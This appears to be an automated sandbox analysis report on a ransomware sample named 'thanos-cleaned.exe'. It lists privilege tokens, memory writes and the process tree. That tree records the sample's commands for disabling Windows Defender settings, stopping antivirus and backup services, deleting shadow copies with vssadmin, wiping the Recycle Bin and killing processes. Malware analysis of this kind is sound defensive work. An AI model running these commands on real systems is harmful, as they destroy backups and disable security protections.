3104 powershell.exe Token: 36 3104 powershell.exe Token: SeDebugPrivilege 5104 powershell.exe Token: SeIncreaseQuotaPrivilege 4168 powershell.exe Token: SeSecurityPrivilege 4168 powershell.exe Token: SeTakeOwnershipPrivilege 4168 powershell.exe Token: SeLoadDriverPrivilege 4168 powershell.exe Token: SeSystemProfilePrivilege 4168 powershell.exe Token: SeSystemtimePrivilege 4168 powershell.exe Token: SeProfSingleProcessPrivilege 4168 powershell.exe Token: SeIncBasePriorityPrivilege 4168 powershell.exe Token: SeCreatePagefilePrivilege 4168 powershell.exe Token: SeBackupPrivilege 4168 powershell.exe Token: SeRestorePrivilege 4168 powershell.exe Token: SeShutdownPrivilege 4168 powershell.exe Token: SeDebugPrivilege 4168 powershell.exe Token: SeSystemEnvironmentPrivilege 4168 powershell.exe Token: SeRemoteShutdownPrivilege 4168 powershell.exe Token: SeUndockPrivilege 4168 powershell.exe Token: SeManageVolumePrivilege 4168 powershell.exe Token: 33 4168 powershell.exe Token: 34 4168 powershell.exe Token: 35 4168 powershell.exe Token: 36 4168 powershell.exe Token: SeIncreaseQuotaPrivilege 4348 powershell.exe Token: SeSecurityPrivilege 4348 powershell.exe Token: SeTakeOwnershipPrivilege 4348 powershell.exe Token: SeLoadDriverPrivilege 4348 powershell.exe Token: SeSystemProfilePrivilege 4348 powershell.exe Token: SeSystemtimePrivilege 4348 powershell.exe Token: SeProfSingleProcessPrivilege 4348 powershell.exe Token: SeIncBasePriorityPrivilege 4348 powershell.exe Token: SeCreatePagefilePrivilege 4348 powershell.exe Token: SeBackupPrivilege 4348 powershell.exe Token: SeRestorePrivilege 4348 powershell.exe Token: SeShutdownPrivilege 4348 powershell.exe Token: SeDebugPrivilege 4348 powershell.exe Token: SeSystemEnvironmentPrivilege 4348 powershell.exe Token: SeRemoteShutdownPrivilege 4348 powershell.exe Token: SeUndockPrivilege 4348 powershell.exe Token: SeManageVolumePrivilege 4348 powershell.exe Token: 33 4348 powershell.exe Token: 34 4348 powershell.exe Token: 35 4348 powershell.exe Token: 36 4348 powershell.exe Token: SeIncreaseQuotaPrivilege 4992 powershell.exe Token: SeSecurityPrivilege 4992 powershell.exe Token: SeTakeOwnershipPrivilege 4992 powershell.exe Token: SeLoadDriverPrivilege 4992 powershell.exe Token: SeSystemProfilePrivilege 4992 powershell.exe Token: SeSystemtimePrivilege 4992 powershell.exe Token: SeProfSingleProcessPrivilege 4992 powershell.exe Token: SeIncBasePriorityPrivilege 4992 powershell.exe Token: SeCreatePagefilePrivilege 4992 powershell.exe Token: SeBackupPrivilege 4992 powershell.exe Token: SeRestorePrivilege 4992 powershell.exe Token: SeShutdownPrivilege 4992 powershell.exe Token: SeDebugPrivilege 4992 powershell.exe Token: SeSystemEnvironmentPrivilege 4992 powershell.exe Token: SeRemoteShutdownPrivilege 4992 powershell.exe Token: SeUndockPrivilege 4992 powershell.exe Token: SeManageVolumePrivilege 4992 powershell.exe Token: 33 4992 powershell.exe Token: 34 4992 powershell.exe Token: 35 4992 powershell.exe Token: 36 4992 powershell.exe Token: SeIncreaseQuotaPrivilege 5044 powershell.exe Token: SeSecurityPrivilege 5044 powershell.exe Token: SeTakeOwnershipPrivilege 5044 powershell.exe Token: SeLoadDriverPrivilege 5044 powershell.exe Token: SeSystemProfilePrivilege 5044 powershell.exe Token: SeSystemtimePrivilege 5044 powershell.exe Token: SeProfSingleProcessPrivilege 5044 powershell.exe Token: SeIncBasePriorityPrivilege 5044 powershell.exe Token: SeCreatePagefilePrivilege 5044 powershell.exe Token: SeBackupPrivilege 5044 powershell.exe Token: SeRestorePrivilege 5044 powershell.exe Token: SeShutdownPrivilege 5044 powershell.exe Token: SeDebugPrivilege 5044 powershell.exe Token: SeSystemEnvironmentPrivilege 5044 powershell.exe Token: SeRemoteShutdownPrivilege 5044 powershell.exe Token: SeUndockPrivilege 5044 powershell.exe Token: SeManageVolumePrivilege 5044 powershell.exe Token: 33 5044 powershell.exe Token: 34 5044 powershell.exe Token: 35 5044 powershell.exe Token: 36 5044 powershell.exe Token: SeIncreaseQuotaPrivilege 5104 powershell.exe Token: SeSecurityPrivilege 5104 powershell.exe Token: SeTakeOwnershipPrivilege 5104 powershell.exe Token: SeLoadDriverPrivilege 5104 powershell.exe Token: SeSystemProfilePrivilege 5104 powershell.exe Token: SeSystemtimePrivilege 5104 powershell.exe Token: SeProfSingleProcessPrivilege 5104 powershell.exe Token: SeIncBasePriorityPrivilege 5104 powershell.exe Token: SeCreatePagefilePrivilege 5104 powershell.exe Token: SeBackupPrivilege 5104 powershell.exe Token: SeRestorePrivilege 5104 powershell.exe Token: SeShutdownPrivilege 5104 powershell.exe Token: SeDebugPrivilege 5104 powershell.exe Token: SeSystemEnvironmentPrivilege 5104 powershell.exe Token: SeRemoteShutdownPrivilege 5104 powershell.exe Token: SeUndockPrivilege 5104 powershell.exe Token: SeManageVolumePrivilege 5104 powershell.exe Token: 33 5104 powershell.exe Token: 34 5104 powershell.exe Token: 35 5104 powershell.exe Token: 36 5104 powershell.exe Token: SeDebugPrivilege 6208 taskkill.exe Token: SeDebugPrivilege 6200 taskkill.exe Token: SeDebugPrivilege 6192 taskkill.exe Token: SeBackupPrivilege 5644 vssvc.exe Token: SeRestorePrivilege 5644 vssvc.exe Token: SeAuditPrivilege 5644 vssvc.exe Token: SeAssignPrimaryTokenPrivilege 5864 2kx1y5bm.exe Token: SeIncreaseQuotaPrivilege 5864 2kx1y5bm.exe Token: SeImpersonatePrivilege 5864 2kx1y5bm.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe -
Suspicious use of SendNotifyMessage 3 IoCs
pid Process 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe -
Suspicious use of WriteProcessMemory 233 IoCs
description pid Process procid_target PID 756 wrote to memory of 1196 756 thanos-cleaned.exe 72 PID 756 wrote to memory of 1196 756 thanos-cleaned.exe 72 PID 756 wrote to memory of 796 756 thanos-cleaned.exe 78 PID 756 wrote to memory of 796 756 thanos-cleaned.exe 78 PID 756 wrote to memory of 2296 756 thanos-cleaned.exe 80 PID 756 wrote to memory of 2296 756 thanos-cleaned.exe 80 PID 756 wrote to memory of 2136 756 thanos-cleaned.exe 82 PID 756 wrote to memory of 2136 756 thanos-cleaned.exe 82 PID 756 wrote to memory of 3980 756 thanos-cleaned.exe 84 PID 756 wrote to memory of 3980 756 thanos-cleaned.exe 84 PID 756 wrote to memory of 820 756 thanos-cleaned.exe 86 PID 756 wrote to memory of 820 756 thanos-cleaned.exe 86 PID 756 wrote to memory of 3104 756 thanos-cleaned.exe 88 PID 756 wrote to memory of 3104 756 thanos-cleaned.exe 88 PID 756 wrote to memory of 1056 756 thanos-cleaned.exe 90 PID 756 wrote to memory of 1056 756 thanos-cleaned.exe 90 PID 756 wrote to memory of 4168 756 thanos-cleaned.exe 92 PID 756 wrote to memory of 4168 756 thanos-cleaned.exe 92 PID 756 wrote to memory of 4348 756 thanos-cleaned.exe 94 PID 756 wrote to memory of 4348 756 thanos-cleaned.exe 94 PID 756 wrote to memory of 4992 756 thanos-cleaned.exe 96 PID 756 wrote to memory of 4992 756 thanos-cleaned.exe 96 PID 756 wrote to memory of 5044 756 thanos-cleaned.exe 98 PID 756 wrote to memory of 5044 756 thanos-cleaned.exe 98 PID 756 wrote to memory of 5104 756 thanos-cleaned.exe 100 PID 756 wrote to memory of 5104 756 thanos-cleaned.exe 100 PID 756 wrote to memory of 4216 756 thanos-cleaned.exe 252 PID 756 wrote to memory of 4216 756 thanos-cleaned.exe 252 PID 756 wrote to memory of 4260 756 thanos-cleaned.exe 101 PID 756 wrote to memory of 4260 756 thanos-cleaned.exe 101 PID 756 wrote to memory of 4364 756 thanos-cleaned.exe 250 PID 756 wrote to memory of 4364 756 thanos-cleaned.exe 250 PID 756 wrote to memory of 4460 756 thanos-cleaned.exe 144 PID 756 wrote to memory of 4460 756 thanos-cleaned.exe 144 PID 756 wrote to memory of 4336 756 thanos-cleaned.exe 103 PID 756 wrote to memory of 4336 756 thanos-cleaned.exe 103 PID 756 wrote to memory of 4888 756 thanos-cleaned.exe 104 PID 756 wrote to memory of 4888 756 thanos-cleaned.exe 104 PID 756 wrote to memory of 5012 756 thanos-cleaned.exe 244 PID 756 wrote to memory of 5012 756 thanos-cleaned.exe 244 PID 756 wrote to memory of 4544 756 thanos-cleaned.exe 105 PID 756 wrote to memory of 4544 756 thanos-cleaned.exe 105 PID 756 wrote to memory of 4012 756 thanos-cleaned.exe 106 PID 756 wrote to memory of 4012 756 thanos-cleaned.exe 106 PID 756 wrote to memory of 5112 756 thanos-cleaned.exe 107 PID 756 wrote to memory of 5112 756 thanos-cleaned.exe 107 PID 756 wrote to memory of 5136 756 thanos-cleaned.exe 108 PID 756 wrote to memory of 5136 756 thanos-cleaned.exe 108 PID 4216 wrote to memory of 5148 4216 net.exe 240 PID 4216 wrote to memory of 5148 4216 net.exe 240 PID 756 wrote to memory of 5208 756 thanos-cleaned.exe 109 PID 756 wrote to memory of 5208 756 thanos-cleaned.exe 109 PID 4260 wrote to memory of 5220 4260 net.exe 238 PID 4260 wrote to memory of 5220 4260 net.exe 238 PID 756 wrote to memory of 5268 756 thanos-cleaned.exe 237 PID 756 wrote to memory of 5268 756 thanos-cleaned.exe 237 PID 4364 wrote to memory of 5308 4364 net.exe 235 PID 4364 wrote to memory of 5308 4364 net.exe 235 PID 4460 wrote to memory of 5316 4460 net1.exe 234 PID 4460 wrote to memory of 5316 4460 net1.exe 234 PID 756 wrote to memory of 5340 756 thanos-cleaned.exe 111 PID 756 wrote to memory of 5340 756 thanos-cleaned.exe 111 PID 4336 wrote to memory of 5368 4336 net.exe 233 PID 4336 wrote to memory of 5368 4336 net.exe 233 PID 756 wrote to memory of 5392 756 thanos-cleaned.exe 232 PID 756 wrote to memory of 5392 756 thanos-cleaned.exe 232 PID 756 wrote to memory of 5432 756 thanos-cleaned.exe 230 PID 756 wrote to memory of 5432 756 thanos-cleaned.exe 230 PID 4888 wrote to memory of 5452 4888 net.exe 113 PID 4888 wrote to memory of 5452 4888 net.exe 113 PID 756 wrote to memory of 5500 756 thanos-cleaned.exe 228 PID 756 wrote to memory of 5500 756 thanos-cleaned.exe 228 PID 5012 wrote to memory of 5524 5012 net.exe 227 PID 5012 wrote to memory of 5524 5012 net.exe 227 PID 756 wrote to memory of 5580 756 thanos-cleaned.exe 114 PID 756 wrote to memory of 5580 756 thanos-cleaned.exe 114 PID 4544 wrote to memory of 5612 4544 net.exe 225 PID 4544 wrote to memory of 5612 4544 net.exe 225 PID 756 wrote to memory of 5636 756 thanos-cleaned.exe 224 PID 756 wrote to memory of 5636 756 thanos-cleaned.exe 224 PID 4012 wrote to memory of 5660 4012 net.exe 223 PID 4012 wrote to memory of 5660 4012 net.exe 223 PID 5112 wrote to memory of 5700 5112 net.exe 221 PID 5112 wrote to memory of 5700 5112 net.exe 221 PID 756 wrote to memory of 5708 756 thanos-cleaned.exe 261 PID 756 wrote to memory of 5708 756 thanos-cleaned.exe 261 PID 756 wrote to memory of 5760 756 thanos-cleaned.exe 218 PID 756 wrote to memory of 5760 756 thanos-cleaned.exe 218 PID 5136 wrote to memory of 5772 5136 net.exe 116 PID 5136 wrote to memory of 5772 5136 net.exe 116 PID 756 wrote to memory of 5812 756 thanos-cleaned.exe 117 PID 756 wrote to memory of 5812 756 thanos-cleaned.exe 117 PID 756 wrote to memory of 5876 756 thanos-cleaned.exe 118 PID 756 wrote to memory of 5876 756 thanos-cleaned.exe 118 PID 5208 wrote to memory of 5900 5208 net.exe 215 PID 5208 wrote to memory of 5900 5208 net.exe 215 PID 5268 wrote to memory of 5940 5268 net.exe 119 PID 5268 wrote to memory of 5940 5268 net.exe 119 PID 756 wrote to memory of 5956 756 thanos-cleaned.exe 120 PID 756 wrote to memory of 5956 756 thanos-cleaned.exe 120 PID 756 wrote to memory of 6004 756 thanos-cleaned.exe 212 PID 756 wrote to memory of 6004 756 thanos-cleaned.exe 212 PID 5392 wrote to memory of 6032 5392 net.exe 211 PID 5392 wrote to memory of 6032 5392 net.exe 211 PID 5340 wrote to memory of 6048 5340 net.exe 121 PID 5340 wrote to memory of 6048 5340 net.exe 121 PID 756 wrote to memory of 6104 756 thanos-cleaned.exe 209 PID 756 wrote to memory of 6104 756 thanos-cleaned.exe 209 PID 5432 wrote to memory of 6128 5432 net.exe 122 PID 5432 wrote to memory of 6128 5432 net.exe 122 PID 756 wrote to memory of 5128 756 thanos-cleaned.exe 207 PID 756 wrote to memory of 5128 756 thanos-cleaned.exe 207 PID 756 wrote to memory of 5328 756 thanos-cleaned.exe 205 PID 756 wrote to memory of 5328 756 thanos-cleaned.exe 205 PID 5500 wrote to memory of 5276 5500 net.exe 123 PID 5500 wrote to memory of 5276 5500 net.exe 123 PID 756 wrote to memory of 4292 756 thanos-cleaned.exe 203 PID 756 wrote to memory of 4292 756 thanos-cleaned.exe 203 PID 5580 wrote to memory of 5588 5580 net.exe 124 PID 5580 wrote to memory of 5588 5580 net.exe 124 PID 756 wrote to memory of 5532 756 thanos-cleaned.exe 125 PID 756 wrote to memory of 5532 756 thanos-cleaned.exe 125 PID 756 wrote to memory of 5964 756 thanos-cleaned.exe 200 PID 756 wrote to memory of 5964 756 thanos-cleaned.exe 200 PID 5708 wrote to memory of 6040 5708 Conhost.exe 199 PID 5708 wrote to memory of 6040 5708 Conhost.exe 199 PID 5636 wrote to memory of 3648 5636 net.exe 198 PID 5636 wrote to memory of 3648 5636 net.exe 198 PID 756 wrote to memory of 1196 756 thanos-cleaned.exe 197 PID 756 wrote to memory of 1196 756 thanos-cleaned.exe 197 PID 756 wrote to memory of 5264 756 thanos-cleaned.exe 196 PID 756 wrote to memory of 5264 756 thanos-cleaned.exe 196 PID 756 wrote to memory of 5948 756 thanos-cleaned.exe 195 PID 756 wrote to memory of 5948 756 thanos-cleaned.exe 195 PID 756 wrote to memory of 6140 756 thanos-cleaned.exe 194 PID 756 wrote to memory of 6140 756 thanos-cleaned.exe 194 PID 756 wrote to memory of 6148 756 thanos-cleaned.exe 193 PID 756 wrote to memory of 6148 756 thanos-cleaned.exe 193 PID 756 wrote to memory of 6156 756 thanos-cleaned.exe 192 PID 756 wrote to memory of 6156 756 thanos-cleaned.exe 192 PID 756 wrote to memory of 6164 756 thanos-cleaned.exe 191 PID 756 wrote to memory of 6164 756 thanos-cleaned.exe 191 PID 756 wrote to memory of 6172 756 thanos-cleaned.exe 190 PID 756 wrote to memory of 6172 756 thanos-cleaned.exe 190 PID 756 wrote to memory of 6180 756 thanos-cleaned.exe 189 PID 756 wrote to memory of 6180 756 thanos-cleaned.exe 189 PID 756 wrote to memory of 6192 756 thanos-cleaned.exe 188 PID 756 wrote to memory of 6192 756 thanos-cleaned.exe 188 PID 756 wrote to memory of 6200 756 thanos-cleaned.exe 187 PID 756 wrote to memory of 6200 756 thanos-cleaned.exe 187 PID 756 wrote to memory of 6208 756 thanos-cleaned.exe 186 PID 756 wrote to memory of 6208 756 thanos-cleaned.exe 186 PID 5760 wrote to memory of 6216 5760 net.exe 185 PID 5760 wrote to memory of 6216 5760 net.exe 185 PID 756 wrote to memory of 6220 756 thanos-cleaned.exe 184 PID 756 wrote to memory of 6220 756 thanos-cleaned.exe 184 PID 756 wrote to memory of 6232 756 thanos-cleaned.exe 183 PID 756 wrote to memory of 6232 756 thanos-cleaned.exe 183 PID 756 wrote to memory of 6240 756 thanos-cleaned.exe 182 PID 756 wrote to memory of 6240 756 thanos-cleaned.exe 182 PID 756 wrote to memory of 6248 756 thanos-cleaned.exe 181 PID 756 wrote to memory of 6248 756 thanos-cleaned.exe 181 PID 756 wrote to memory of 6256 756 thanos-cleaned.exe 180 PID 756 wrote to memory of 6256 756 thanos-cleaned.exe 180 PID 756 wrote to memory of 6264 756 thanos-cleaned.exe 179 PID 756 wrote to memory of 6264 756 thanos-cleaned.exe 179 PID 756 wrote to memory of 6272 756 thanos-cleaned.exe 178 PID 756 wrote to memory of 6272 756 thanos-cleaned.exe 178 PID 756 wrote to memory of 6280 756 thanos-cleaned.exe 177 PID 756 wrote to memory of 6280 756 thanos-cleaned.exe 177 PID 756 wrote to memory of 6288 756 thanos-cleaned.exe 176 PID 756 wrote to memory of 6288 756 thanos-cleaned.exe 176 PID 756 wrote to memory of 6296 756 thanos-cleaned.exe 175 PID 756 wrote to memory of 6296 756 thanos-cleaned.exe 175 PID 756 wrote to memory of 6304 756 thanos-cleaned.exe 174 PID 756 wrote to memory of 6304 756 thanos-cleaned.exe 174 PID 756 wrote to memory of 6312 756 thanos-cleaned.exe 173 PID 756 wrote to memory of 6312 756 thanos-cleaned.exe 173 PID 756 wrote to memory of 6320 756 thanos-cleaned.exe 172 PID 756 wrote to memory of 6320 756 thanos-cleaned.exe 172 PID 756 wrote to memory of 6328 756 thanos-cleaned.exe 171 PID 756 wrote to memory of 6328 756 thanos-cleaned.exe 171 PID 756 wrote to memory of 6336 756 thanos-cleaned.exe 127 PID 756 wrote to memory of 6336 756 thanos-cleaned.exe 127 PID 5812 wrote to memory of 6744 5812 net.exe 131 PID 5812 wrote to memory of 6744 5812 net.exe 131 PID 5876 wrote to memory of 6756 5876 net.exe 128 PID 5876 wrote to memory of 6756 5876 net.exe 128 PID 5956 wrote to memory of 6920 5956 net.exe 259 PID 5956 wrote to memory of 6920 5956 net.exe 259 PID 6004 wrote to memory of 7044 6004 net.exe 152 PID 6004 wrote to memory of 7044 6004 net.exe 152 PID 6104 wrote to memory of 7052 6104 net.exe 151 PID 6104 wrote to memory of 7052 6104 net.exe 151 PID 5128 wrote to memory of 5908 5128 net.exe 150 PID 5128 wrote to memory of 5908 5128 net.exe 150 PID 5328 wrote to memory of 4692 5328 net.exe 141 PID 5328 wrote to memory of 4692 5328 net.exe 141 PID 4292 wrote to memory of 6616 4292 net.exe 149 PID 4292 wrote to memory of 6616 4292 net.exe 149 PID 5964 wrote to memory of 3984 5964 net.exe 148 PID 5964 wrote to memory of 3984 5964 net.exe 148 PID 5532 wrote to memory of 2644 5532 net.exe 147 PID 5532 wrote to memory of 2644 5532 net.exe 147 PID 1196 wrote to memory of 4268 1196 net.exe 266 PID 1196 wrote to memory of 4268 1196 net.exe 266 PID 5264 wrote to memory of 5172 5264 net.exe 142 PID 5264 wrote to memory of 5172 5264 net.exe 142 PID 6140 wrote to memory of 5308 6140 net.exe 235 PID 6140 wrote to memory of 5308 6140 net.exe 235 PID 5948 wrote to memory of 4460 5948 net.exe 144 PID 5948 wrote to memory of 4460 5948 net.exe 144 PID 6148 wrote to memory of 200 6148 net.exe 143 PID 6148 wrote to memory of 200 6148 net.exe 143 PID 756 wrote to memory of 6080 756 thanos-cleaned.exe 256 PID 756 wrote to memory of 6080 756 thanos-cleaned.exe 256 PID 756 wrote to memory of 5864 756 thanos-cleaned.exe 258 PID 756 wrote to memory of 5864 756 thanos-cleaned.exe 258 PID 756 wrote to memory of 5864 756 thanos-cleaned.exe 258 PID 756 wrote to memory of 6920 756 thanos-cleaned.exe 259 PID 756 wrote to memory of 6920 756 thanos-cleaned.exe 259 PID 756 wrote to memory of 7096 756 thanos-cleaned.exe 262 PID 756 wrote to memory of 7096 756 thanos-cleaned.exe 262 PID 756 wrote to memory of 4884 756 thanos-cleaned.exe 263 PID 756 wrote to memory of 4884 756 thanos-cleaned.exe 263 PID 756 wrote to memory of 6468 756 thanos-cleaned.exe 265 PID 756 wrote to memory of 6468 756 thanos-cleaned.exe 265 PID 4884 wrote to memory of 5484 4884 cmd.exe 267 PID 4884 wrote to memory of 5484 4884 cmd.exe 267 PID 6468 wrote to memory of 7140 6468 cmd.exe 268 PID 6468 wrote to memory of 7140 6468 cmd.exe 268 PID 4884 wrote to memory of 6352 4884 cmd.exe 271 PID 4884 wrote to memory of 6352 4884 cmd.exe 271
Processes
-
C:\Users\Admin\AppData\Local\Temp\thanos-cleaned.exe"C:\Users\Admin\AppData\Local\Temp\thanos-cleaned.exe"1⤵
- Modifies extensions of user files
- Drops startup file
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:756 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1196 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AcrSch2Svc /y3⤵PID:4268
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true2⤵
- Suspicious use of AdjustPrivilegeToken
PID:796
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2296
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2136
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3980
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true2⤵
- Suspicious use of AdjustPrivilegeToken
PID:820
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3104
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 62⤵
- Suspicious use of AdjustPrivilegeToken
PID:1056
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 02⤵
- Suspicious use of AdjustPrivilegeToken
PID:4168
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 62⤵
- Suspicious use of AdjustPrivilegeToken
PID:4348
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 62⤵PID:4992
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true2⤵PID:5044
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 22⤵PID:5104
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop McAfeeDLPAgentService /y2⤵
- Suspicious use of WriteProcessMemory
PID:4260 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop McAfeeDLPAgentService /y3⤵PID:5220
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BMR Boot Service /y2⤵PID:4460
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop NetBackup BMR MTFTP Service /y2⤵
- Suspicious use of WriteProcessMemory
PID:4336 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y3⤵PID:5368
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop DefWatch /y2⤵PID:4888
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DefWatch /y3⤵PID:5452
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop ccSetMgr /y2⤵PID:4544
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ccSetMgr /y3⤵PID:5612
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop SavRoam /y2⤵PID:4012
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SavRoam /y3⤵PID:5660
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop RTVscan /y2⤵PID:5112
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop RTVscan /y3⤵PID:5700
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop QBFCService /y2⤵PID:5136
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBFCService /y3⤵PID:5772
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop QBIDPService /y2⤵PID:5208
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBIDPService /y3⤵PID:5900
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop QBCFMonitorService /y2⤵PID:5340
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBCFMonitorService /y3⤵PID:6048
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop stc_raw_agent /y2⤵PID:5580
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop stc_raw_agent /y3⤵PID:5588
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop VeeamNFSSvc /y2⤵PID:5812
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc /y3⤵PID:6744
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop veeam /y2⤵PID:5876
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop veeam /y3⤵PID:6756
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop PDVFSService /y2⤵PID:5956
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop PDVFSService /y3⤵PID:6920
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecManagementService /y2⤵PID:5532
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService /y3⤵PID:2644
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin2⤵PID:6336
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" Delete Shadows /all /quiet2⤵
- Interacts with shadow copies
PID:6328
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:6320
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:6312
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:6304
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:6296
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:6288
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:6280
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:6272
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:6264
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:6256
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:6248
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded2⤵
- Interacts with shadow copies
PID:6240
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:6232
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" Delete Shadows /all /quiet2⤵
- Interacts with shadow copies
PID:6220
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
PID:6208
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
PID:6200
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
PID:6192
-
-
